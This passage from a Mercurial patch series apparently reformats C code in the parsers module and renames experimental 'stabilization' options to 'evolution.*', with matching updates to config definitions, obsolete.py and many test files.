 			nbytes += PyBytes_GET_SIZE(c) + 1;
@@ -436,7 +429,7 @@
 	memcpy(p, s, l);
 	p += 20;
 
-	for (pos = 0; PyDict_Next(map, &pos, &k, &v); ) {
+	for (pos = 0; PyDict_Next(map, &pos, &k, &v);) {
 		dirstateTupleObject *tuple;
 		char state;
 		int mode, size, mtime;
@@ -446,7 +439,7 @@
 
 		if (!dirstate_tuple_check(v)) {
 			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
+			                "expected a dirstate tuple");
 			goto bail;
 		}
 		tuple = (dirstateTupleObject *)v;
@@ -460,7 +453,7 @@
 			 * this. */
 			mtime = -1;
 			mtime_unset = (PyObject *)make_dirstate_tuple(
-				state, mode, size, mtime);
+			    state, mode, size, mtime);
 			if (!mtime_unset)
 				goto bail;
 			if (PyDict_SetItem(map, k, mtime_unset) == -1)
@@ -491,7 +484,7 @@
 	pos = p - PyBytes_AS_STRING(packobj);
 	if (pos != nbytes) {
 		PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
-                             (long)pos, (long)nbytes);
+		             (long)pos, (long)nbytes);
 		goto bail;
 	}
 
@@ -507,8 +500,8 @@
 #define USING_SHA_256 2
 #define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
 
-static PyObject *readshas(
-	const char *source, unsigned char num, Py_ssize_t hashwidth)
+static PyObject *readshas(const char *source, unsigned char num,
+                          Py_ssize_t hashwidth)
 {
 	int i;
 	PyObject *list = PyTuple_New(num);
@@ -528,7 +521,7 @@
 }
 
 static PyObject *fm1readmarker(const char *databegin, const char *dataend,
-			       uint32_t *msize)
+                               uint32_t *msize)
 {
 	const char *data = databegin;
 	const char *meta;
@@ -567,7 +560,7 @@
 	if (databegin + *msize > dataend) {
 		goto overflow;
 	}
-	dataend = databegin + *msize;  /* narrow down to marker size */
+	dataend = databegin + *msize; /* narrow down to marker size */
 
 	if (data + hashwidth > dataend) {
 		goto overflow;
@@ -631,9 +624,9 @@
 		PyTuple_SET_ITEM(tmp, 1, right);
 		PyTuple_SET_ITEM(metadata, i, tmp);
 	}
-	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags,
-			    metadata, mtime, (int)tz * 60, parents);
-	goto bail;  /* return successfully */
+	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags, metadata, mtime,
+	                    (int)tz * 60, parents);
+	goto bail; /* return successfully */
 
 overflow:
 	PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
@@ -645,7 +638,6 @@
 	return ret;
 }
 
-
 static PyObject *fm1readmarkers(PyObject *self, PyObject *args)
 {
 	const char *data, *dataend;
@@ -691,29 +683,28 @@
 PyObject *parse_index2(PyObject *self, PyObject *args);
 
 static PyMethodDef methods[] = {
-	{"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
-	{"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
-	"create a set containing non-normal and other parent entries of given "
-	"dirstate\n"},
-	{"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
-	{"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
-	{"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
-	{"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
-	{"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
-	{"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
-	{"dict_new_presized", dict_new_presized, METH_VARARGS,
-	 "construct a dict with an expected size\n"},
-	{"make_file_foldmap", make_file_foldmap, METH_VARARGS,
-	 "make file foldmap\n"},
-	{"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
-	 "escape a UTF-8 byte string to JSON (fast path)\n"},
-	{"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
-	{"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
-	{"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
-	{"fm1readmarkers", fm1readmarkers, METH_VARARGS,
-			"parse v1 obsolete markers\n"},
-	{NULL, NULL}
-};
+    {"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
+    {"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
+     "create a set containing non-normal and other parent entries of given "
+     "dirstate\n"},
+    {"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
+    {"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
+    {"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
+    {"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
+    {"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
+    {"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
+    {"dict_new_presized", dict_new_presized, METH_VARARGS,
+     "construct a dict with an expected size\n"},
+    {"make_file_foldmap", make_file_foldmap, METH_VARARGS,
+     "make file foldmap\n"},
+    {"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
+     "escape a UTF-8 byte string to JSON (fast path)\n"},
+    {"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
+    {"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
+    {"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
+    {"fm1readmarkers", fm1readmarkers, METH_VARARGS,
+     "parse v1 obsolete markers\n"},
+    {NULL, NULL}};
 
 void dirs_module_init(PyObject *mod);
 void manifest_module_init(PyObject *mod);
@@ -743,7 +734,7 @@
 		return;
 	Py_INCREF(&dirstateTupleType);
 	PyModule_AddObject(mod, "dirstatetuple",
-			   (PyObject *)&dirstateTupleType);
+	                   (PyObject *)&dirstateTupleType);
 }
 
 static int check_python_version(void)
@@ -762,24 +753,23 @@
 	 * should only occur in unusual circumstances (e.g. if sys.hexversion
 	 * is manually set to an invalid value). */
 	if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
-		PyErr_Format(PyExc_ImportError, "%s: The Mercurial extension "
-			"modules were compiled with Python " PY_VERSION ", but "
-			"Mercurial is currently using Python with sys.hexversion=%ld: "
-			"Python %s\n at: %s", versionerrortext, hexversion,
-			Py_GetVersion(), Py_GetProgramFullPath());
+		PyErr_Format(PyExc_ImportError,
+		             "%s: The Mercurial extension "
+		             "modules were compiled with Python " PY_VERSION
+		             ", but "
+		             "Mercurial is currently using Python with "
+		             "sys.hexversion=%ld: "
+		             "Python %s\n at: %s",
+		             versionerrortext, hexversion, Py_GetVersion(),
+		             Py_GetProgramFullPath());
 		return -1;
 	}
 	return 0;
 }
 
 #ifdef IS_PY3K
-static struct PyModuleDef parsers_module = {
-	PyModuleDef_HEAD_INIT,
-	"parsers",
-	parsers_doc,
-	-1,
-	methods
-};
+static struct PyModuleDef parsers_module = {PyModuleDef_HEAD_INIT, "parsers",
+                                            parsers_doc, -1, methods};
 
 PyMODINIT_FUNC PyInit_parsers(void)
 {
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508166872 -7200
#      Mon Oct 16 17:14:32 2017 +0200
# Node ID b1e3f609bf45058a503e58f2de207060e72335cc
# Parent  d92dc725223bbde09963fc431e57d32a40c4167d
config: invert evolution-related configuration aliases

We want to split the evolution-related configuration and back-out the renaming
from evolution.* to stabilization.*.

First invert the configuration and aliases, so next changesets will be
cleaner.

Differential Revision: https://phab.mercurial-scm.org/D1146

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1239,7 +1239,7 @@
 
 
     contentopts = {'cg.version': cgversion}
-    if repo.ui.configbool('experimental', 'stabilization.bundle-obsmarker'):
+    if repo.ui.configbool('experimental', 'evolution.bundle-obsmarker'):
         contentopts['obsolescence'] = True
     if repo.ui.configbool('experimental', 'bundle-phases'):
         contentopts['phases'] = True
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -345,6 +345,18 @@
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
+coreconfigitem('experimental', 'evolution',
+    default=list,
+    alias=[('experimental', 'stabilization')],
+)
+coreconfigitem('experimental', 'evolution.bundle-obsmarker',
+    default=False,
+    alias=[('experimental', 'stabilization.bundle-obsmarker')],
+)
+coreconfigitem('experimental', 'evolution.track-operation',
+    default=True,
+    alias=[('experimental', 'stabilization.track-operation')]
+)
 coreconfigitem('experimental', 'maxdeltachainspan',
     default=-1,
 )
@@ -357,18 +369,6 @@
 coreconfigitem('experimental', 'effect-flags',
     default=False,
 )
-coreconfigitem('experimental', 'stabilization',
-    default=list,
-    alias=[('experimental', 'evolution')],
-)
-coreconfigitem('experimental', 'stabilization.bundle-obsmarker',
-    default=False,
-    alias=[('experimental', 'evolution.bundle-obsmarker')],
-)
-coreconfigitem('experimental', 'stabilization.track-operation',
-    default=True,
-    alias=[('experimental', 'evolution.track-operation')]
-)
 coreconfigitem('experimental', 'exportableenviron',
     default=list,
 )
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -102,7 +102,7 @@
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
-    result = set(repo.ui.configlist('experimental', 'stabilization'))
+    result = set(repo.ui.configlist('experimental', 'evolution'))
     if 'all' in result:
         return True
 
@@ -1043,7 +1043,7 @@
 
     # Operation metadata handling
     useoperation = repo.ui.configbool('experimental',
-        'stabilization.track-operation')
+        'evolution.track-operation')
     if useoperation and operation:
         metadata['operation'] = operation
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508166887 -7200
#      Mon Oct 16 17:14:47 2017 +0200
# Node ID fec79a3f250f3a9cb41704dfea970088090ca2ce
# Parent  b1e3f609bf45058a503e58f2de207060e72335cc
config: update evolution-related config

Update the evolution helpers function to support both old-style configuration and
new-style configuration:

    experimental.evolution=all is renamed into experimental.evolution=true

    experimental.evolution=createmarkers is renamed into
    experimental.evolution.createmarkers=true

    experimental.evolution=allowunstable is renamed into
    experimental.evolution.allowunstable=true

    experimental.evolution=exchange is renamed into
    experimental.evolution.exchange=true

We choose to not rename individual config options; keeping the same names
would easy the transition for users but it's something that could be easily
done in the future.

Differential Revision: https://phab.mercurial-scm.org/D1147

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -349,6 +349,15 @@
     default=list,
     alias=[('experimental', 'stabilization')],
 )
+coreconfigitem('experimental', 'evolution.allowunstable',
+    default=None,
+)
+coreconfigitem('experimental', 'evolution.createmarkers',
+    default=None,
+)
+coreconfigitem('experimental', 'evolution.exchange',
+    default=None,
+)
 coreconfigitem('experimental', 'evolution.bundle-obsmarker',
     default=False,
     alias=[('experimental', 'stabilization.bundle-obsmarker')],
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -98,26 +98,54 @@
 allowunstableopt = 'allowunstable'
 exchangeopt = 'exchange'
 
+def _getoptionvalue(repo, option):
+    """Returns True if the given repository has the given obsolete option
+    enabled.
+    """
+    configkey = 'evolution.%s' % option
+    newconfig = repo.ui.configbool('experimental', configkey)
+
+    # Return the value only if defined
+    if newconfig is not None:
+        return newconfig
+
+    # Fallback on generic option
+    try:
+        return repo.ui.configbool('experimental', 'evolution')
+    except (error.ConfigError, AttributeError):
+        # Fallback on old-fashion config
+        # inconsistent config: experimental.evolution
+        result = set(repo.ui.configlist('experimental', 'evolution'))
+
+        if 'all' in result:
+            return True
+
+        # For migration purposes, temporarily return true if the config hasn't
+        # been set but _enabled is true.
+        if len(result) == 0 and _enabled:
+            return True
+
+        # Temporary hack for next check
+        newconfig = repo.ui.config('experimental', 'evolution.createmarkers')
+        if newconfig:
+            result.add('createmarkers')
+
+        return option in result
+
 def isenabled(repo, option):
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
-    result = set(repo.ui.configlist('experimental', 'evolution'))
-    if 'all' in result:
-        return True
-
-    # For migration purposes, temporarily return true if the config hasn't been
-    # set but _enabled is true.
-    if len(result) == 0 and _enabled:
-        return True
+    createmarkersvalue = _getoptionvalue(repo, createmarkersopt)
+    unstabluevalue = _getoptionvalue(repo, allowunstableopt)
+    exchangevalue = _getoptionvalue(repo, exchangeopt)
 
     # createmarkers must be enabled if other options are enabled
-    if ((allowunstableopt in result or exchangeopt in result) and
-        not createmarkersopt in result):
+    if ((unstabluevalue or exchangevalue) and not createmarkersvalue):
         raise error.Abort(_("'createmarkers' obsolete option must be enabled "
-                           "if other obsolete options are enabled"))
+                            "if other obsolete options are enabled"))
 
-    return option in result
+    return _getoptionvalue(repo, option)
 
 ### obsolescence marker flag
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508232566 -7200
#      Tue Oct 17 11:29:26 2017 +0200
# Node ID a0100f34e20ba5b64c7f7190db719e47af768b8a
# Parent  fec79a3f250f3a9cb41704dfea970088090ca2ce
config: replace experimental.stabilization by experimental.evolution

We replace 'experimental.stabilization=all' by 'experimental.evolution=true'
as we will extract individual config in their own config in later patches.

Differential Revision: https://phab.mercurial-scm.org/D1148

diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -2,7 +2,7 @@
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [experimental]
-  > stabilization=all
+  > evolution=true
   > EOF
 
   $ reinit () {
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -10,7 +10,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > stabilization=all
+  > evolution=true
   > [templates]
   > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
   > obsfateverb = "{obsfateverb(successors)}"
diff --git a/tests/test-obsolete-bundle-strip.t b/tests/test-obsolete-bundle-strip.t
--- a/tests/test-obsolete-bundle-strip.t
+++ b/tests/test-obsolete-bundle-strip.t
@@ -15,7 +15,7 @@
   > 
   > [experimental]
   > # enable evolution
-  > stabilization = all
+  > evolution=true
   > 
   > # include obsmarkers in bundle
   > stabilization.bundle-obsmarker = yes
diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -108,7 +108,7 @@
   > [phases]
   > publish = no
   > [experimental]
-  > stabilization = all
+  > evolution=true
   > [alias]
   > graph = log -G --rev 'sort(all(), "topo")'
   > EOF
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -397,7 +397,7 @@
   $ hg update E -q
   $ echo 3 > B
   $ hg commit --amend -m E -A B -q
-  $ hg rebase -r B+D -d . --config experimental.stabilization=all
+  $ hg rebase -r B+D -d . --config experimental.evolution=true
   rebasing 1:112478962961 "B" (B)
   merging B
   warning: conflicts while merging B! (edit, then use 'hg resolve --mark')
@@ -408,7 +408,7 @@
   $ hg resolve -m
   (no more unresolved files)
   continue: hg rebase --continue
-  $ hg rebase --continue --config experimental.stabilization=none
+  $ hg rebase --continue --config experimental.evolution=none
   rebasing 1:112478962961 "B" (B)
   rebasing 3:f585351a92f8 "D" (D)
   warning: orphaned descendants detected, not stripping 112478962961
diff --git a/tests/test-rebase-dest.t b/tests/test-rebase-dest.t
--- a/tests/test-rebase-dest.t
+++ b/tests/test-rebase-dest.t
@@ -116,7 +116,7 @@
   > maprevset=$TESTTMP/maprevset.py
   > [experimental]
   > rebase.multidest=true
-  > stabilization=all
+  > evolution=true
   > EOF
 
   $ rebasewithdag() {
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -735,7 +735,7 @@
   |
   o  0:4a2df7238c3b A
   
-  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.stabilization=all
+  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=true
   obsoleted 1 changesets
   $ hg rebase -d 6 -r "4::"
   rebasing 4:ff2c4d47b71d "C"
@@ -763,7 +763,7 @@
   $ hg add nonrelevant
   $ hg commit -m nonrelevant
   created new head
-  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.stabilization=all
+  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=true
   obsoleted 1 changesets
   $ hg rebase -r . -d 10
   note: not rebasing 11:f44da1f4954c "nonrelevant" (tip), it has no successor
@@ -886,7 +886,7 @@
   $ printf "dummy" > L
   $ hg add L
   $ hg commit -m "dummy change"
-  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.stabilization=all
+  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.evolution=true
   obsoleted 1 changesets
 
   $ hg log -G -r 16::
@@ -1205,7 +1205,7 @@
 equivalents in destination
   $ hg init rbsrepo && cd rbsrepo
   $ echo "[experimental]" > .hg/hgrc
-  $ echo "stabilization=all" >> .hg/hgrc
+  $ echo "evolution=true" >> .hg/hgrc
   $ echo "rebaseskipobsolete=on" >> .hg/hgrc
   $ echo root > root && hg ci -Am root
   adding root
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -968,7 +968,7 @@
   > [extensions]
   > wraprebase=$TESTTMP/wraprebase.py
   > [experimental]
-  > stabilization=all
+  > evolution=true
   > EOF
 
   $ hg debugdrawdag <<'EOS'
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -1280,7 +1280,7 @@
   $ cd $TESTTMP/scmutilcleanup.obsstore
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > stabilization=all
+  > evolution=true
   > stabilization.track-operation=1
   > EOF
 
@@ -1322,7 +1322,7 @@
   $ cd issue5678
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=all
+  > evolution=true
   > EOF
   $ echo a > a
   $ hg ci -Aqm a
diff --git a/tests/testlib/exchange-obsmarker-util.sh b/tests/testlib/exchange-obsmarker-util.sh
--- a/tests/testlib/exchange-obsmarker-util.sh
+++ b/tests/testlib/exchange-obsmarker-util.sh
@@ -26,7 +26,7 @@
 # reduce output changes
 bundle2-output-capture=True
 # enable evolution
-evolution=all
+evolution=true
 
 [extensions]
 # we need to strip some changeset for some test cases
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506619146 -3600
#      Thu Sep 28 18:19:06 2017 +0100
# Node ID 1644623ab09695dfcbcfe61387b875c3448ab490
# Parent  a0100f34e20ba5b64c7f7190db719e47af768b8a
config: use 'experimental.evolution.create-markers'

Extract 'experimental.evolution' = createmarkers as
'experimental.evolution.createmarkers'.

We keep the new option in the 'experimental.evolution' namespace in order to
stay coherent with other options ('experimental.evolution.bundle-obsmarker'
and 'experimental.evolution.track-operation') ease the renaming as possibly
'evolution.createmarkers'.

Differential Revision: https://phab.mercurial-scm.org/D1149

diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -11,7 +11,7 @@
 #if obsstore-on
   $ cat << EOF >> $HGRCPATH
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 #endif
 
@@ -180,7 +180,8 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > stabilization=createmarkers, allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > EOF
 
   $ hg amend
diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -574,7 +574,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 tip is obsolete
diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -6,7 +6,8 @@
   > [phases]
   > publish=False
   > [experimental]
-  > stabilization=createmarkers,exchange
+  > evolution=exchange
+  > evolution.createmarkers=True
   > EOF
 
   $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -15,7 +15,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers,exchange
+  > evolution=exchange
+  > evolution.createmarkers=True
   > bundle2-output-capture=True
   > [ui]
   > ssh="$PYTHON" "$TESTDIR/dummyssh"
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -230,7 +230,7 @@
   > [extensions]
   > bundle2=$TESTTMP/bundle2.py
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > [ui]
   > ssh=$PYTHON "$TESTDIR/dummyssh"
   > logtemplate={rev}:{node|short} {phase} {author} {bookmarks} {desc|firstline}
diff --git a/tests/test-cache-abuse.t b/tests/test-cache-abuse.t
--- a/tests/test-cache-abuse.t
+++ b/tests/test-cache-abuse.t
@@ -2,7 +2,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > [phases]
   > publish=False
   > EOF
diff --git a/tests/test-clone.t b/tests/test-clone.t
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -712,7 +712,7 @@
   $ cd filteredrev0
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo initial1 > foo
   $ hg -q commit -A -m initial0
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3784,7 +3784,7 @@
   $ cd hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > stabilization = createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -509,7 +509,7 @@
 
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   >>> import os
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -519,7 +519,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > EOF
 
 Amend with no files changes
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -2297,7 +2297,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg debugobsolete `hg id --debug -i -r 8`
diff --git a/tests/test-histedit-arguments.t b/tests/test-histedit-arguments.t
--- a/tests/test-histedit-arguments.t
+++ b/tests/test-histedit-arguments.t
@@ -496,7 +496,8 @@
 
   $ cat >>$HGRCPATH <<EOF
   > [experimental]
-  > stabilization=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > EOF
   $ hg commit --amend -m 'allow this fold'
   $ hg histedit --continue
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -8,7 +8,8 @@
   > [phases]
   > publish=False
   > [experimental]
-  > stabilization=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > [extensions]
   > histedit=
   > rebase=
diff --git a/tests/test-lfconvert.t b/tests/test-lfconvert.t
--- a/tests/test-lfconvert.t
+++ b/tests/test-lfconvert.t
@@ -326,7 +326,7 @@
   $ cd largefiles-repo-hg
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ hg debugobsolete `hg log -r tip -T "{node}"`
   obsoleted 1 changesets
diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -1702,7 +1702,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg log --template='{rev}:{node}\n'
@@ -2284,7 +2284,7 @@
   $ hg init issue4490
   $ cd issue4490
   $ echo '[experimental]' >> .hg/hgrc
-  $ echo 'stabilization=createmarkers' >> .hg/hgrc
+  $ echo 'evolution.createmarkers=True' >> .hg/hgrc
   $ echo a > a
   $ hg ci -Am0
   adding a
diff --git a/tests/test-obsolete-bounds-checking.t b/tests/test-obsolete-bounds-checking.t
--- a/tests/test-obsolete-bounds-checking.t
+++ b/tests/test-obsolete-bounds-checking.t
@@ -7,7 +7,8 @@
   > [extensions]
   > amend =
   > [experimental]
-  > stabilization=createmarkers,exchange
+  > stabilization=exchange
+  > evolution.createmarkers=True
   > EOF
   $ hg init tmpa
   $ cd tmpa
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -3,7 +3,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Push does not corrupt remote
diff --git a/tests/test-obsolete-checkheads.t b/tests/test-obsolete-checkheads.t
--- a/tests/test-obsolete-checkheads.t
+++ b/tests/test-obsolete-checkheads.t
@@ -6,7 +6,7 @@
   > [ui]
   > logtemplate='{node|short} ({phase}) {desc|firstline}\n'
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -9,7 +9,7 @@
   > [ui]
   > logtemplate = {rev}:{node|short} {desc}{if(obsfate, " [{join(obsfate, "; ")}]")}\n
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [alias]
diff --git a/tests/test-obsolete-tag-cache.t b/tests/test-obsolete-tag-cache.t
--- a/tests/test-obsolete-tag-cache.t
+++ b/tests/test-obsolete-tag-cache.t
@@ -5,7 +5,7 @@
   > mock=$TESTDIR/mockblackbox.py
   > 
   > [experimental]
-  > stabilization = createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Create a repo with some tags
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -39,7 +39,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers,exchange
+  > evolution=exchange
+  > evolution.createmarkers=True
   > EOF
 
 Killing a single changeset without replacement
@@ -899,15 +900,15 @@
 Checking _enable=False warning if obsolete marker exists
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "stabilization=" >> $HGRCPATH
+  $ echo "evolution=" >> $HGRCPATH
   $ hg log -r tip
-  obsolete feature not enabled but 68 markers found!
   68:c15e9edfca13 (draft) [tip ] add celestine
 
 reenable for later test
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "stabilization=createmarkers,exchange" >> $HGRCPATH
+  $ echo "evolution=exchange" >> $HGRCPATH
+  $ echo "evolution.createmarkers=True" >> $HGRCPATH
 
   $ rm hg.pid access.log errors.log
 #endif
@@ -1311,7 +1312,7 @@
   $ hg ci -m '2'
 
   $ echo bar > f2
-  $ hg commit --amend --config experimetnal.stabilization=createmarkers
+  $ hg commit --amend --config experimental.evolution.createmarkers=True
   $ hg log -G
   @  3:b0551702f918 (draft) [tip ] 2
   |
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -630,7 +630,7 @@
 (enabling evolution)
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 (making a changeset hidden; H in that case)
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
--- a/tests/test-rebase-brute-force.t
+++ b/tests/test-rebase-brute-force.t
@@ -3,7 +3,8 @@
   > drawdag=$TESTDIR/drawdag.py
   > bruterebase=$TESTDIR/bruterebase.py
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > EOF
   $ init() {
   >   N=`expr ${N:-0} + 1`
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -8,7 +8,8 @@
   > [ui]
